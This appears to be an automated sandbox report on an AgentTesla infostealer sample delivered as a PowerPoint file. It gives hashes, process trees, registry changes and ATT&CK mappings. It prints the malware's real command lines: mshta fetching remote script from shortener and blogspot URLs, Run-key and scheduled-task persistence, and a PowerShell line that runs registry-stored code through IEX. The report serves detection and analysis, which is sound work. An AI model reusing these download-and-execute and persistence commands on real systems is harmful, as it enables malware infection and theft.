agenttesla | 414dca4ec7dff32fb1d809f021c4865dc1f6249318ffd707b3d5ef72a4cdd7f2

General

Target

Po 463922900001.ppt
Size

77KB
MD5

07d27e32b0ab74301b426e77502bcc13
SHA1

5f5631b653a61e085650035166d2ab84ab429331
SHA256

414dca4ec7dff32fb1d809f021c4865dc1f6249318ffd707b3d5ef72a4cdd7f2
SHA512

0a331ddd511ae5a13a9307f48617fc317b283b4378e868e88724abd78b893ea4f5cca6fbf132b22ee61fee63d378d95d5613f1db3b15e14e491d1133513b1026

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	1256	3232	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2248	3364	powershell.exe

AgentTesla Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1256-187-0x0000000000437DCE-mapping.dmp	family_agenttesla

Blocklisted process makes network request 12 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
15	1256	mshta.exe
17	1256	mshta.exe
19	1256	mshta.exe
21	1256	mshta.exe
23	1256	mshta.exe
32	1256	mshta.exe
33	1256	mshta.exe
35	1256	mshta.exe
37	1256	mshta.exe
48	2248	powershell.exe
50	2248	powershell.exe
52	2248	powershell.exe

Drops file in Drivers directory 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts aspnet_compiler.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	aspnet_compiler.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\DLESOLCRETSAM = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).MSOFFICELO)\|IEX\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "\"mshta\"\"http://1230948%1230948@newblogset144.blogspot.com/p/8.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"http://1230948%1230948@firstblognew123.blogspot.com/p/8.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "\"mshta\"\"http://1230948%1230948@papagunnakjdnmwdnwmndwm.blogspot.com/p/8.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\replcia = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).nasdnasndnad)\|IEX\"\", 0 : window.close\")"	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2248 set thread context of 1256 2248 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	pid	process	target process
PID 2248 set thread context of 1256	2248	powershell.exe	aspnet_compiler.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3932 schtasks.exe

pid	process
3932	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

1120 taskkill.exe
1748 taskkill.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

3232 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid process

2248 powershell.exe
2248 powershell.exe
2248 powershell.exe
1256 aspnet_compiler.exe
1256 aspnet_compiler.exe

pid	process
1120	taskkill.exe
1748	taskkill.exe

pid	process
3232	POWERPNT.EXE

pid	process
2248	powershell.exe
2248	powershell.exe
2248	powershell.exe
1256	aspnet_compiler.exe
1256	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

powershell.exetaskkill.exetaskkill.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	1120	taskkill.exe
Token: SeDebugPrivilege	1748	taskkill.exe
Token: SeIncreaseQuotaPrivilege	2248	powershell.exe
Token: SeSecurityPrivilege	2248	powershell.exe
Token: SeTakeOwnershipPrivilege	2248	powershell.exe
Token: SeLoadDriverPrivilege	2248	powershell.exe
Token: SeSystemProfilePrivilege	2248	powershell.exe
Token: SeSystemtimePrivilege	2248	powershell.exe
Token: SeProfSingleProcessPrivilege	2248	powershell.exe
Token: SeIncBasePriorityPrivilege	2248	powershell.exe
Token: SeCreatePagefilePrivilege	2248	powershell.exe
Token: SeBackupPrivilege	2248	powershell.exe
Token: SeRestorePrivilege	2248	powershell.exe
Token: SeShutdownPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeSystemEnvironmentPrivilege	2248	powershell.exe
Token: SeRemoteShutdownPrivilege	2248	powershell.exe
Token: SeUndockPrivilege	2248	powershell.exe
Token: SeManageVolumePrivilege	2248	powershell.exe
Token: 33	2248	powershell.exe
Token: 34	2248	powershell.exe
Token: 35	2248	powershell.exe
Token: 36	2248	powershell.exe
Token: SeIncreaseQuotaPrivilege	2248	powershell.exe
Token: SeSecurityPrivilege	2248	powershell.exe
Token: SeTakeOwnershipPrivilege	2248	powershell.exe
Token: SeLoadDriverPrivilege	2248	powershell.exe
Token: SeSystemProfilePrivilege	2248	powershell.exe
Token: SeSystemtimePrivilege	2248	powershell.exe
Token: SeProfSingleProcessPrivilege	2248	powershell.exe
Token: SeIncBasePriorityPrivilege	2248	powershell.exe
Token: SeCreatePagefilePrivilege	2248	powershell.exe
Token: SeBackupPrivilege	2248	powershell.exe
Token: SeRestorePrivilege	2248	powershell.exe
Token: SeShutdownPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeSystemEnvironmentPrivilege	2248	powershell.exe
Token: SeRemoteShutdownPrivilege	2248	powershell.exe
Token: SeUndockPrivilege	2248	powershell.exe
Token: SeManageVolumePrivilege	2248	powershell.exe
Token: 33	2248	powershell.exe
Token: 34	2248	powershell.exe
Token: 35	2248	powershell.exe
Token: 36	2248	powershell.exe
Token: SeDebugPrivilege	1256	aspnet_compiler.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

3232 POWERPNT.EXE
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

POWERPNT.EXEaspnet_compiler.exe

pid process

3232 POWERPNT.EXE
3232 POWERPNT.EXE
3232 POWERPNT.EXE
1256 aspnet_compiler.exe

pid	process
3232	POWERPNT.EXE

pid	process
3232	POWERPNT.EXE
3232	POWERPNT.EXE
3232	POWERPNT.EXE
1256	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exe

description	pid	process	target process
PID 3232 wrote to memory of 1256	3232	POWERPNT.EXE	mshta.exe
PID 3232 wrote to memory of 1256	3232	POWERPNT.EXE	mshta.exe
PID 1256 wrote to memory of 3932	1256	mshta.exe	schtasks.exe
PID 1256 wrote to memory of 3932	1256	mshta.exe	schtasks.exe
PID 1256 wrote to memory of 1748	1256	mshta.exe	taskkill.exe
PID 1256 wrote to memory of 1748	1256	mshta.exe	taskkill.exe
PID 1256 wrote to memory of 1120	1256	mshta.exe	taskkill.exe
PID 1256 wrote to memory of 1120	1256	mshta.exe	taskkill.exe
PID 2248 wrote to memory of 1256	2248	powershell.exe	aspnet_compiler.exe
PID 2248 wrote to memory of 1256	2248	powershell.exe	aspnet_compiler.exe
PID 2248 wrote to memory of 1256	2248	powershell.exe	aspnet_compiler.exe
PID 2248 wrote to memory of 1256	2248	powershell.exe	aspnet_compiler.exe
PID 2248 wrote to memory of 1256	2248	powershell.exe	aspnet_compiler.exe
PID 2248 wrote to memory of 1256	2248	powershell.exe	aspnet_compiler.exe
PID 2248 wrote to memory of 1256	2248	powershell.exe	aspnet_compiler.exe
PID 2248 wrote to memory of 1256	2248	powershell.exe	aspnet_compiler.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Po 463922900001.ppt" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3232

C:\Windows\SYSTEM32\mshta.exe
mshta http://www.j.mp/asdqwpdiiuhjdasnd
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1256

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%1230948@getyournewblog.blogspot.com/p/8.html""\"", 0 : window.close"\")
3⤵
- Creates scheduled task(s)
PID:3932

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im winword.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1120

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im Excel.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2248

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1256

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1120-184-0x0000000000000000-mapping.dmp

Download
memory/1256-179-0x0000000000000000-mapping.dmp

Download
memory/1256-188-0x00000000051B0000-0x00000000051B1000-memory.dmp

Filesize
4KB

Download
memory/1256-187-0x0000000000437DCE-mapping.dmp

Download
memory/1748-183-0x0000000000000000-mapping.dmp

Download
memory/2248-181-0x0000022A84E70000-0x0000022A84E72000-memory.dmp

Filesize
8KB

Download
memory/2248-186-0x0000022A84E78000-0x0000022A84E79000-memory.dmp

Filesize
4KB

Download
memory/2248-185-0x0000022A84E76000-0x0000022A84E78000-memory.dmp

Filesize
8KB

Download
memory/2248-182-0x0000022A84E73000-0x0000022A84E75000-memory.dmp

Filesize
8KB

Download
memory/3232-122-0x00007FFAE2040000-0x00007FFAE312E000-memory.dmp

Filesize
16.9MB

Download
memory/3232-121-0x00007FFAC36F0000-0x00007FFAC3700000-memory.dmp

Filesize
64KB

Download
memory/3232-114-0x00007FFAC36F0000-0x00007FFAC3700000-memory.dmp

Filesize
64KB

Download
memory/3232-115-0x00007FFAC36F0000-0x00007FFAC3700000-memory.dmp

Filesize
64KB

Download
memory/3232-117-0x00007FFAC36F0000-0x00007FFAC3700000-memory.dmp

Filesize
64KB

Download
memory/3232-123-0x00007FFADCDA0000-0x00007FFADEC95000-memory.dmp

Filesize
31.0MB

Download
memory/3232-116-0x00007FFAC36F0000-0x00007FFAC3700000-memory.dmp

Filesize
64KB

Download
memory/3232-118-0x00007FFAE6340000-0x00007FFAE7F1D000-memory.dmp

Filesize
27.9MB

Download
memory/3932-180-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads